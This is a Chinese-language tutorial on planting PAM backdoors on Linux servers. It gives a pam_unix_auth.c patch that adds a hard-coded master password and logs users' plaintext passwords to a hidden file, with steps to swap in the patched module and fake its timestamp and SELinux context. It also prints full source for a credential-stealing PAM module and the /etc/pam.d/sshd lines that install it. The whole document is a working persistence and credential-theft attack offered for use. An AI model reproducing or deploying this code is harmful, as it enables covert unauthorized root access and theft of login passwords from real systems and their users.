后门-pam认证
后门-pam认证
参考资料
https://www.cnblogs.com/adhzl/p/12098397.html
https://www.cnblogs.com/-qing-/p/13178917.html
https://www.jianshu.com/p/4bd5ce0f5894 # Linux后门维系(三)—— PAM后门 + transfer.sh
https://www.ch1ng.com/blog/208.html # 使用 sshLooterC 抓取 SSH 密码
centos下简单使用--方式一
- 下载,环境,编译条件
rpm -qa | grep pam 各个版本的pam包下载地址:http://www.linux-pam.org/library/ wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz tar -zxvf Linux-PAM-1.1.8.tar.gz 1.查看SELinux状态(https://blog.51cto.com/bguncle/957315) 查看方式一: /usr/sbin/sestatus -v ##如果SELinux status参数为enabled即为开启状态 查看方式二: getenforce ##也可以用这个命令检查(实测使用这个) 2.临时关闭(不用重启机器) setenforce 0 设置SELinux 成为permissive模式(关闭SELinux) setenforce 1 设置SELinux 成为enforcing模式(开启SELinux) yum -y install flex
- 修改内容
修改 linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c 中的内容 if(strcmp("wang!@#123",p)==0){return PAM_SUCCESS;} if(retval == PAM_SUCCESS){ FILE * fp; fp = fopen("/bin/.sshlog", "a"); fprintf(fp, "%s : %s\n", name, p); fclose(fp); } 其中strcmp(p,"adhzl")中的adhzl为自己设置的root密码,可以用来登录root用户,/tmp/pam.txt为纪录的root用户的登录密码的路径和保存的文件名 ############################################# 编译时出现的问题 ################################################################## 修改 /root/Linux-PAM-1.1.8/conf/pam_conv1/pam_conv_l.c 添加 int yywrap(){return 1;} 修改 /root/Linux-PAM-1.1.8/doc/specs/parse_l.c 添加 int yywrap(){return 1;}
- 编译
./configure make # make clean 编译完后的文件在:modules/pam_unix/.libs/pam_unix.so
- 备份/替换/修改时间戳
sudo find / -name pam_unix.so # 首先查找原来的pam_unix.so的路径 cd /lib64/security/ cp pam_unix.so pam_unix.so.bak # 备份原来的pam_unix.so touch -r /lib64/security/pam_unix.so /lib64/security/pam_unix.so.bak # touch -r test.txt test2.txt 是以test.txt的时间为基础 如果selinux是开启的环境,一定要关掉或者设置好上下文pam_unix.so才能正常工作。 查看selinux上下文: ls -Z pam_unix.so.bak 设置selinux上下文: chcon –reference=pam_unix.so.bak pam_unix.so
简单使用--方式二
-
安装依赖
https://github.com/mthbernardes/sshLooterC.git # 项目地址 Ubuntu apt-get install update apt install make gcc libcurl4-openssl-dev libpam0g-dev Centos yum -y install libcurl-devel openssl-devel pam-devel gcc
-
抓取密码源码
#include <stdio.h> #include <stdlib.h> #include <curl/curl.h> #include <string.h> #include <security/pam_appl.h> #include <security/pam_modules.h> #include <unistd.h> size_t write_data(void *buffer, size_t size, size_t nmemb, void *userp) { return size * nmemb; } void saveMessage(char (*message)[]) { FILE *fp = NULL; fp = fopen("/tmp/.passwd", "a+"); fputs(*message, fp); fclose(fp); } PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) { return PAM_SUCCESS; } PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) { return PAM_SUCCESS; } PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) { int retval; const char* username; const char* password; char message[1024]; retval = pam_get_user(pamh, &username, "Username: "); pam_get_item(pamh, PAM_AUTHTOK, (void *) &password); if (retval != PAM_SUCCESS) { return retval; } snprintf(message,2048,"Username %s\nPassword: %s\n",username,password); saveMessage(&message); return PAM_SUCCESS; } ############################## Makefile ###################################### CFLAGS += -Werror -Wall looter.so: looter.c gcc $(CFLAGS) -fPIC -shared -Xlinker -x -o $@ $< -lcurl
-
编译, 安装和部署
make cp looter.so /lib/x86_64-linux-gnu/security sudo find / -name pam_unix.so # 首先查找pam_unix.so的路径,生成的so文件放到同级下面 然后编辑 sshd 文件 vim /etc/pam.d/sshd 在最后后面添加两句代码 auth optional looter.so account optional looter.so 重启 ssh 服务(实测未重启也可以抓到密码) service ssh restart